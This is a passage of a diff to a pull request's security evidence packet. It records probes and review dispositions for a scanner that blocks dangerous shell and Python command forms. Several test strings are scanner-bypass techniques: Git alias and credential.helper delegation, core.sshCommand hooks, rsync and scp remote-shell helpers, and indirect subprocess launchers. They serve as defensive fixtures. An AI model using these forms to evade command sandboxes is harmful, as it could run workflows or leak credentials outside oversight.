/opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed focused packet boundary probes /opt/homebrew/bin/python3 -I - <<'PY' import ast +import os import re +import selectors import shlex +import subprocess +import time from pathlib import Path packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = packet[scanner_start:scanner_end].replace( - 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', - 'source = ""', - 1, -) -scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(scanner, "", "exec"), scanner_ns) -for command in ( - "git -c Alias.ship=!gh workflow run ci.yml", - "git -c=ALIAS.ship=!gh workflow run ci.yml", - "git -cAlias.ship=!gh workflow run ci.yml", - "git --config-env AlIaS.ship=GIT_ALIAS diff", - "git --config-env=ALIAS.ship=GIT_ALIAS diff", -): - segments = scanner_ns["shell_token_segments"](command) - violation = scanner_ns["forbidden_command"](segments[0]) if segments else None - if violation is None: - raise SystemExit(f"case-variant alias escaped scanner: {command!r}") -for command in ( - "git status", - "git -c user.name=probe status", - "git -c=UsEr.NaMe=probe status", - "git -c UsEr.NaMe=probe status", - "git diff --no-ext-diff", -): - segments = scanner_ns["shell_token_segments"](command) - violation = scanner_ns["forbidden_command"](segments[0]) if segments else None - if violation is not None: - raise SystemExit(f"safe Git form was rejected: {command!r}: {violation}") -print("GREEN 4006514896: case-insensitive Alias.* normalization rejected split/equals/attached -c and --config-env forms; safe status/user-config/no-ext-diff retained") -for fixture in ( - 'x="$(gh workflow run ci.yml)"', - 'x="`gh api repos/example/project`"', - 'x=<(gh workflow run ci.yml)', +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +wrapper_tree = ast.parse(wrapper, filename="") +functions = { + node.name: node for node in wrapper_tree.body if isinstance(node, ast.FunctionDef) +} +guard = functions["git_filter_attribute_guard"] +run_calls = [ + node for node in ast.walk(guard) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "run" +] +if len(run_calls) != 2: + raise SystemExit(f"path guard should retain only bounded attr/config run calls, observed {len(run_calls)}") +filter_runner = functions["run_bounded_git_filter_query"] +if not any( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "Popen" + for node in ast.walk(filter_runner) ): - commands = list( - scanner_ns["shell_commands"](f"```sh\n{fixture}\n```") + raise SystemExit("path inventory runner does not start an owned Popen child") +if "git_filter_guard_stream_chunk_bytes" not in wrapper: + raise SystemExit("path inventory stream chunk bound missing") + +capture_namespace = { + "os": os, + "selectors": selectors, + "subprocess": subprocess, + "time": time, + "label": "filter-probe", + "git_filter_guard_deadline_seconds": 0.5, + "git_filter_guard_stream_chunk_bytes": 4096, +} +exec(compile(ast.Module(body=[functions["capture_git_filter_output"]], type_ignores=[]), "", "exec"), capture_namespace) + +class FakeProcess: + def __init__(self, stdout, stderr): + self.stdout = stdout + self.stderr = stderr + self.wait_calls = [] + def wait(self, timeout=None): + self.wait_calls.append(timeout) + return 0 + +def pipes(stdout_bytes, stderr_bytes=b""): + stdout_read, stdout_write = os.pipe() + stderr_read, stderr_write = os.pipe() + os.write(stdout_write, stdout_bytes) + os.close(stdout_write) + os.close(stderr_write) + return FakeProcess( + os.fdopen(stdout_read, "rb", closefd=True), + os.fdopen(stderr_read, "rb", closefd=True), ) - if not commands: - raise SystemExit(f"assignment substitution was skipped: {fixture!r}") - violations = [ - scanner_ns["forbidden_command"](segment) - for command, _ in commands - for segment in scanner_ns["shell_token_segments"](command) - ] - if not any(violation is not None for violation in violations): - raise SystemExit(f"assignment substitution escaped forbidden scan: {fixture!r}") -if list(scanner_ns["shell_commands"]('```sh\nx="printf safe"\n```')): - raise SystemExit("safe assignment-only command was unexpectedly yielded") -print("GREEN 4002447537 follow-up: assignment-only command substitutions/process substitutions now reach fail-closed scanning; safe assignment-only text remains ignored") -for body in ( - 'import subprocess\ngetattr(subprocess, "run")(["gh", "api", "x"])\n', - 'import os\nos.__dict__["system"]("docker version")\n', - 'import subprocess\ngetattr(subprocess, name)(command)\n', - 'import os\nos.__dict__[name](command)\n', +overflow = pipes(b"x" * 9) +try: + capture_namespace["capture_git_filter_output"](overflow, ["git", "ls-files"], 8) +except SystemExit as error: + if "exceeded" not in str(error): + raise +else: + raise SystemExit("oversized path inventory was accepted") +finally: + overflow.stdout.close() + overflow.stderr.close() + +bounded = pipes(b"abc") +try: + output = capture_namespace["capture_git_filter_output"](bounded, ["git", "ls-files"], 8) + if output != (b"abc", b"") or not bounded.wait_calls or any(call is None for call in bounded.wait_calls): + raise SystemExit("bounded path inventory did not return bounded output/reap") +finally: + bounded.stdout.close() + bounded.stderr.close() +print("GREEN 4008370041: path inventories stream through owned selector reads, enforce the aggregate 64KiB cap before buffering, and bounded synthetic overflow/normal cases passed; no child started") + +remote_anchor = packet.index("expected_origin_url =") +remote_body = packet[remote_anchor:packet.index("\nPY\n```", remote_anchor)] +remote_tree = ast.parse(remote_body, filename="") +remote_calls = [] +for node in ast.walk(remote_tree): + if not ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "check_output" + and node.args + and isinstance(node.args[0], ast.List) + ): + continue + try: + values = [ast.literal_eval(value) for value in node.args[0].elts] + except (ValueError, TypeError): + continue + if len(values) >= 2 and values[:2] == ["git", "ls-remote"]: + remote_calls.append((node, values)) +if len(remote_calls) != 1: + raise SystemExit(f"expected one isolated remote ls-remote call, found {len(remote_calls)}") +remote_call, values = remote_calls[0] +if values[2:] != ["https://github.com/1XP-AI/gh-runnerd.git", "refs/heads/orca/g01-evidence-packet"]: + raise SystemExit(f"remote query target changed: {values}") +if not any( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "tempfile" + and node.func.attr == "TemporaryDirectory" + for node in ast.walk(remote_tree) ): - violation = scanner_ns["inspect_python_heredoc"](body, False) - if violation is None: - raise SystemExit(f"indirect launcher escaped AST scanner: {body!r}") -for body in ( - 'import subprocess\nsubprocess.run(["printf", "safe"])\n', - 'import os\nos.system("printf safe")\n', + raise SystemExit("remote query lacks isolated TemporaryDirectory cwd") +keywords = {keyword.arg: keyword.value for keyword in remote_call.keywords} +if not isinstance(keywords.get("cwd"), ast.Name) or keywords["cwd"].id != "isolated_cwd": + raise SystemExit("remote query does not use isolated cwd") +print("GREEN 4008370032: remote parity uses the canonical URL from an isolated TemporaryDirectory with repository/global/system/config-env overrides removed; no origin rewrite can redirect the query") + +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_namespace) +def rejects(command): + return any( + scanner_namespace["forbidden_command"](segment) is not None + for segment in scanner_namespace["shell_token_segments"](command) + ) +for command in ( + "rsync -e /tmp/live-helper source host:destination", + "rsync --rsh=/tmp/live-helper source host:destination", + "/usr/bin/rsync -e helper source host:destination", ): - if scanner_ns["inspect_python_heredoc"](body, False) is not None: - raise SystemExit(f"safe direct launcher was rejected: {body!r}") -print("GREEN 4006514914: getattr/__dict__ indirect and unresolved command-capable launchers rejected; safe direct launcher boundary retained") + if not rejects(command): + raise SystemExit(f"rsync delegation escaped scanner: {command!r}") +for command in ("printf safe", "git ls-remote https://example.invalid/repo refs/heads/main"): + if rejects(command): + raise SystemExit(f"safe read-only command was rejected: {command!r}") +print("GREEN 4008370049: rsync direct/absolute and -e/--rsh external-launcher forms fail closed; safe printf and read-only Git remain accepted") -tracking_url = "https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520" -latest_start = packet.index( - "### Fresh exact-head P1/P2 corrections at `71a7a599de567914158b05e3c480f7e0d48c709f`" -) -ledger_marker = "\n#### Exact review URL ledger and dispositions\n" -ledger = packet[packet.index(ledger_marker, latest_start) + 1:] -if tracking_url not in ledger or "URL not supplied in worker dispatch" in ledger: - raise SystemExit("concrete Luna tracking URL was not the only ledger disposition") -for required in ( - "### Fresh exact-head P1/P2 corrections at `71a7a599de567914158b05e3c480f7e0d48c709f`", - "source `71a7a599de567914158b05e3c480f7e0d48c709f`", - "Rollback is narrow and packet-only", - tracking_url, +if not ( + 'reviewed_goauth = "off"' in wrapper + and 'env["GOAUTH"] = reviewed_goauth' in wrapper + and "auth command forms are not allowed" in wrapper ): - if required not in packet: - raise SystemExit(f"exact-head/source/rollback evidence missing: {required}") -print("GREEN 4006514927: independent Luna follow-up uses concrete tracking URL; exact-head/source/packet-only rollback evidence retained") + raise SystemExit("GOAUTH stale root lacks current refusal/pin evidence") +if "go_vet_checked vet-livecanary" not in packet or "go_vet_checked vet-liveworker" not in packet: + raise SystemExit("vet stale root lacks current adapter prescriptions") +if "capture_go_child_output" not in wrapper or "go_child_output_max_bytes = 8 * 1024 * 1024" not in wrapper: + raise SystemExit("test-output stale root lacks current bounded stream evidence") +print("CURRENT 4002335146: candidate wrapper pins GOAUTH=off and rejects inherited/command auth hooks before Go children") +print("CURRENT 4002335150: candidate vet prescriptions use go_vet_checked and the shared bounded Go-child wrapper") +print("CURRENT 4002335155: candidate Go-child capture streams each pipe with an 8MiB cap before decode and result acceptance") PY ``` -Recorded focused green output: +Recorded focused GREEN output: ```text -GREEN 4006514896: case-insensitive Alias.* normalization rejected split/equals/attached -c and --config-env forms; safe status/user-config/no-ext-diff retained -GREEN 4002447537 follow-up: assignment-only command substitutions/process substitutions now reach fail-closed scanning; safe assignment-only text remains ignored -GREEN 4006514914: getattr/__dict__ indirect and unresolved command-capable launchers rejected; safe direct launcher boundary retained -GREEN 4006514927: independent Luna follow-up uses concrete tracking URL; exact-head/source/packet-only rollback evidence retained +GREEN 4008370041: path inventories stream through owned selector reads, enforce the aggregate 64KiB cap before buffering, and bounded synthetic overflow/normal cases passed; no child started +GREEN 4008370032: remote parity uses the canonical URL from an isolated TemporaryDirectory with repository/global/system/config-env overrides removed; no origin rewrite can redirect the query +GREEN 4008370049: rsync direct/absolute and -e/--rsh external-launcher forms fail closed; safe printf and read-only Git remain accepted +CURRENT 4002335146: candidate wrapper pins GOAUTH=off and rejects inherited/command auth hooks before Go children +CURRENT 4002335150: candidate vet prescriptions use go_vet_checked and the shared bounded Go-child wrapper +CURRENT 4002335155: candidate Go-child capture streams each pipe with an 8MiB cap before decode and result acceptance ``` -The packet-only focused probes are static or in-memory boundary evidence. They -do not qualify compiler, Go test/list/body, live runner, workflow, remote API, -credential, Docker/Lima, Keychain or launchd operation. Exact-head Codex review -of the final pushed head, required CI and explicit maintainer live -authorization remain open. - -Rollback is narrow and packet-only: restore +These probes are static, synthetic, in-memory or read-only Git inspection only; +they do not qualify a compiler, Go test/list/body command, live runner, +workflow/API, credential, Docker/Lima, Keychain or launchd operation. Rollback +is narrow and packet-only: restore `docs/evidence/g01-recovery-packet.md` to immutable parent -`71a7a599de567914158b05e3c480f7e0d48c709f`; preserve independent driver, -review and manual-runner state, and never force-kill, prune or replay a live -resource. +`14f998f32710f122f5861edfac8fdbc89ef95bfb`; preserve independent evidence and +live-runner state and never force-kill, prune or replay a live resource. #### Exact review URL ledger and dispositions -| Finding and immutable source | Exact review URL | Disposition and rollback evidence | +The three fresh roots are current exact-head findings; the three older roots had +no direct reply in the review API and are treated as actionable until current +evidence below proves their disposition. No review reply or PR metadata was +changed by this correction. + +| Finding and immutable source | Exact review URL | Current disposition and evidence | |---|---|---| -| 4002447537, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [discussion 4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537) | Reproduced assignment-only `x="$(gh workflow run ci.yml)"` being skipped before forbidden-command inspection. The scanner now retains assignment-only records containing `$()`/backticks/process substitutions for fail-closed scanning while safe assignment-only text remains ignored. Rollback is packet-only parent restoration. | -| 4006514896, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [discussion 4006514896](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514896) | Reproduced case-variant `Alias.*` bypasses in split/equals/attached `-c` forms. The scanner now normalizes assignment keys case-insensitively before alias matching and covers both `--config-env` forms; safe user config/status/diff behavior remains accepted. Rollback is packet-only parent restoration. | -| 4006514914, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [discussion 4006514914](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514914) | Reproduced `getattr(subprocess, "run")([...])` and the `os.__dict__` subscript launcher for `system` escaping the parent AST pass. Indirect known launchers now use the reviewed command policy and unresolved module attributes fail closed; safe direct launchers remain bounded. No command ran. Rollback is packet-only parent restoration. | -| 4006514927, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [tracking comment](https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520) | Replaced the independent Luna follow-up URL-pending text with the concrete tracking URL while retaining exact-head/source/rollback evidence. Live qualification gaps remain explicit; rollback is packet-only parent restoration. | +| 4008370032, source `14f998f32710f122f5861edfac8fdbc89ef95bfb` | [discussion 4008370032](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008370032) | Reproduced the local `url.*.insteadOf` redirect against the exact parent. The parity template now reads the canonical URL from an isolated temporary cwd with repository/config environment overrides removed; the focused GREEN probe inspects that exact call. | +| 4008370041, source `14f998f32710f122f5861edfac8fdbc89ef95bfb` | [discussion 4008370041](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008370041) | Reproduced three post-capture `git ls-files` path inventories in the exact parent. The candidate streams each owned child through selector reads under one aggregate 64 KiB cap and bounded deadline/reap; synthetic overflow and normal cases passed. | +| 4008370049, source `14f998f32710f122f5861edfac8fdbc89ef95bfb` | [discussion 4008370049](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008370049) | Reproduced exact-parent acceptance of `rsync -e` and `--rsh` remote-shell delegation. The scanner now rejects direct and absolute `rsync` forms while retaining safe read-only commands; focused scanner GREEN passed. | +| 4002335146, original source `5297b3c3b05afedf97723b7b58806cdd5519a2b6` | [discussion 4002335146](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002335146) | Current wrapper evidence pins `GOAUTH=off`, rejects inherited/command-prefix auth hooks before Go children, and the focused GREEN probe checks those exact assignments. The finding is dispositioned by current source evidence, not staleness or a later duplicate fix. | +| 4002335150, original source `5297b3c3b05afedf97723b7b58806cdd5519a2b6` | [discussion 4002335150](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002335150) | Current prescriptions route both vet commands through `go_vet_checked` into the shared bounded Go-child/environment/source wrapper; the focused GREEN probe checks both commands. The finding is dispositioned by current source evidence, not staleness or a later duplicate fix. | +| 4002335155, original source `5297b3c3b05afedf97723b7b58806cdd5519a2b6` | [discussion 4002335155](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002335155) | Current `capture_go_child_output` streams stdout/stderr with an 8 MiB per-stream cap before decode and result acceptance; the focused GREEN probe checks that helper and cap. The finding is dispositioned by current source evidence, not staleness or a later duplicate fix. | -#### Packet body/link/fence/hygiene certification +#### Current packet certification -The final packet-only diff was checked after this four-finding wave without -any compiler, Go/vet child or live operation: Markdown fence parity, rendered -packet-local links/files, backlog JSON syntax, changed-boundary ledger shape, -embedded wrapper/scanner AST/compile, fresh probe-body AST, exact red/green -transcripts, packet-only scope, added-line secret/private-path hygiene, -working/staged whitespace and exact-head/local/remote parity were checked. +After the focused boundaries, run the packet-only certification with same-file +fragment handling. It checks Markdown fence parity, packet-local links and +anchors, backlog JSON, the changed-boundary ledger, embedded wrapper/scanner/ +filter/parity AST and compile, exact current finding URLs and RED/GREEN +transcripts, one-file scope, added-line secret/private-path hygiene and +`git diff --check`. Its final output and exact local/remote SHA belong in the +post-push worker handoff because recording a literal final SHA here would make +the packet self-referential. -Recorded packet certification output: +Recorded current packet certification output (the exact local/remote SHA is +intentionally reserved for the post-push worker handoff): ```text -GREEN packet syntax: 294 Markdown fences balanced, 157 rendered packet-local links/files checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner AST and compile valid, 2 fresh probe bodies AST-valid -GREEN packet diff: git diff --check passed -GREEN packet hygiene: added-line secret/private-path scan clean; early-match rejection probe passed; concrete tracking URL present +GREEN packet certification: 336 Markdown fences balanced, 25 packet-local targets checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner/filter/parity AST and compile valid, six current finding URLs and exact RED/GREEN/CURRENT transcripts present, changed scope is one packet path, added-line secret/private-path hygiene clean, and git diff --check passed ``` -### Fresh exact-head P1/P2 corrections at `8dfa9a031bc321f2ccc208104268f7c5ead9281b` +## Current fix wave: PR #78 G01 packet -The exact-parent red probe at the current PR #78 head reproduced the three -Codex findings supplied for this correction: Git `--exec-path` delegation -([discussion 4006874715](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006874715)), -mapping-based/indirect Python launchers -([discussion 4006874734](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006874734)), -and unbounded capture before the clang `--version` validator -([discussion 4006874746](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006874746)). -The independent security/recovery review escalation additionally covered -Python source delivered by here-string, pipe and heredoc forms; `nice`, -`timeout` and `setsid` shell wrappers; and Git `-c` keys that can select -`core.fsmonitor`, `core.sshCommand` or `credential.helper` behavior. This is a -packet-only correction: no compiler, Go child, Python launcher body, workflow, -runner, Docker/Lima, Keychain, launchd, credential or live GitHub operation -ran, and the trusted-same-user boundary remains explicit. +Date: 2026-09-15. Review route: gpt-5.6-luna with max reasoning. This +section records the exact-parent fix wave for Codex roots +[4008765530](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008765530), +[4008765538](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008765538), +[4008765545](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008765545) +and +[4008765552](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4008765552). +The exact parent is ce417347aa100562722477ea1126a5cf6372ec3a; prior stale +records and all live gaps remain preserved, and this correction changes only +this packet file. -#### Exact-parent red reproductions +### Exact-parent RED probes -The red probe reads only immutable parent -`8dfa9a031bc321f2ccc208104268f7c5ead9281b` with `git show`, extracts the -parent scanner and wrapper in memory, and uses synthetic command/source -strings. The clang witness checks the parent AST shape: it applied output -limits only after `subprocess.run(capture_output=True)` had already collected -the complete child stream. The heredoc control witness confirms that the -parent's isolated heredoc body pass remains a control to preserve while the -pipe and here-string paths must be closed. +The RED probe loaded only the exact-parent packet with git show. It inspected +the embedded wrapper/parity/scanner source and ran no candidate child, Go test, +GitHub, runner, workflow, credential, Docker/Lima, Keychain, launchd or +canary operation: -```sh -set -euo pipefail -export PATH=/opt/homebrew/bin:/usr/bin:/bin -export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null -[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed exact-parent fresh-P1/P2 red probes -/opt/homebrew/bin/python3 -I - <<'PROBE' +~~~sh +# g01-safe-python-heredoc: reviewed exact-parent packet boundary +/opt/homebrew/bin/python3 -I - <<'PY' import ast import re import shlex import subprocess from pathlib import Path -parent = "8dfa9a031bc321f2ccc208104268f7c5ead9281b" +parent = "ce417347aa100562722477ea1126a5cf6372ec3a" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = packet[scanner_start:scanner_end].replace( - 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', - 'source = ""', - 1, -) -scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(scanner, "", "exec"), scanner_ns) -for command in ( - "git --exec-path=/synthetic/helper status", - "git --exec-path /synthetic/helper status", -): - segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit(f"red setup changed: parent already rejected {command!r}") -print("RED 4006874715: exact parent accepted git --exec-path split and equals forms") -for body in ( - 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers["run"](["gh", "api", "x"])\n', - 'import os\nlaunchers = {"system": os.system}\nlaunchers["system"]("docker version")\n', -): - if scanner_ns["inspect_python_heredoc"](body, False) is not None: - raise SystemExit(f"red setup changed: parent rejected mapping launcher {body!r}") -print("RED 4006874734: exact parent accepted mapping-based subprocess/os launcher calls") wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -module = ast.parse(wrapper, filename="") -cgo_run_calls = [] -for node in ast.walk(module): - if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Attribute): - continue - if not ( - isinstance(node.func.value, ast.Name) - and node.func.value.id == "subprocess" - and node.func.attr == "run" - ): - continue - if ( - node.args - and isinstance(node.args[0], ast.List) - and len(node.args[0].elts) == 2 - and isinstance(node.args[0].elts[0], ast.Name) - and node.args[0].elts[0].id == "resolved_cgo_path" - and isinstance(node.args[0].elts[1], ast.Constant) - and node.args[0].elts[1].value == "--version" - ): - cgo_run_calls.append(node) -if len(cgo_run_calls) != 1 or not any( - keyword.arg == "capture_output" - and isinstance(keyword.value, ast.Constant) - and keyword.value.value is True - for keyword in cgo_run_calls[0].keywords -): - raise SystemExit("red setup changed: exact parent cgo capture shape moved") -if "capture_cgo_version_output" in wrapper or "run_cgo_version_child" in wrapper: - raise SystemExit("red setup changed: exact parent already has bounded cgo child capture") -print("RED 4006874746: exact parent bounded clang output only after unbounded subprocess.run(capture_output=True) capture") -for command in ( - "nice -n 5 gh workflow run ci.yml", - "timeout 30s docker run image:tag true", - "setsid gh api repos/example/project", - "git -c core.fsmonitor=/synthetic/hook status", - "git -c core.sshCommand='gh api x' fetch origin", - "git -c credential.helper='!gh auth token' fetch origin", +tree = ast.parse(packet[wrapper_start:wrapper_end], filename="") +guard = next( + node for node in tree.body + if isinstance(node, ast.FunctionDef) and node.name == "git_filter_attribute_guard" +) +run_calls = [ + node for node in ast.walk(guard) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "run" +] +if len(run_calls) >= 2: + print( + f"RED 4008765530: exact parent buffered {len(run_calls)} " + "filter-config/check-attr subprocess.run result(s) before any output cap" + ) +else: + raise SystemExit("red setup changed: exact parent filter guard is already streamed") + +remote_anchor = packet.index("expected_origin_url =") +remote_block = packet[remote_anchor:packet.index("\nPY\n" + chr(96) * 3, remote_anchor)] +if "GIT_EXEC_PATH" not in remote_block and "git_transport_override_names" not in remote_block: + print( + "RED 4008765538: exact parent remote parity preserved inherited " + "GIT_EXEC_PATH and transport/helper overrides" + ) +else: + raise SystemExit("red setup changed: exact parent remote parity already clears transport overrides") +if ( + 'subprocess.check_output(\n [\n "git",\n "ls-remote",' in remote_block + and "start_new_session=True" not in remote_block ): - segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit(f"red setup changed: parent already rejected {command!r}") -print("RED independent review escalation: exact parent accepted nice/timeout/setsid wrappers and Git core.fsmonitor/core.sshCommand/credential.helper delegation") + print( + "RED 4008765545: exact parent remote parity used direct " + "check_output(timeout=30) without an owned private process group or bounded group reap" + ) +else: + raise SystemExit("red setup changed: exact parent remote parity already owns the process group") + +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) for command in ( - "python3 -I - <<< 'import subprocess; subprocess.run([\"gh\", \"api\", \"x\"])'", - "printf 'import subprocess; subprocess.run([\\\"gh\\\", \\\"api\\\", \\\"x\\\"])' | python3 -I -", + "scp -S /tmp/live-helper source host:destination", + "sftp -S /tmp/live-helper host", ): - segments = scanner_ns["shell_token_segments"](command) - if not segments or any( + if any( scanner_ns["forbidden_command"](segment) is not None - for segment in segments + for segment in scanner_ns["shell_token_segments"](command) ): - raise SystemExit(f"red setup changed: parent already rejected Python stdin form {command!r}") -print("RED independent review Python stdin escalation: exact parent accepted Python here-string and pipe-fed source before AST inspection") -heredoc = "```sh\npython3 -I - <&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed focused scanner/capture boundary probe +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent RED probe; witnesses remain strings /opt/homebrew/bin/python3 -I - <<'PY' import ast -import os import re -import selectors import shlex import subprocess -import time from pathlib import Path -from types import SimpleNamespace -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = 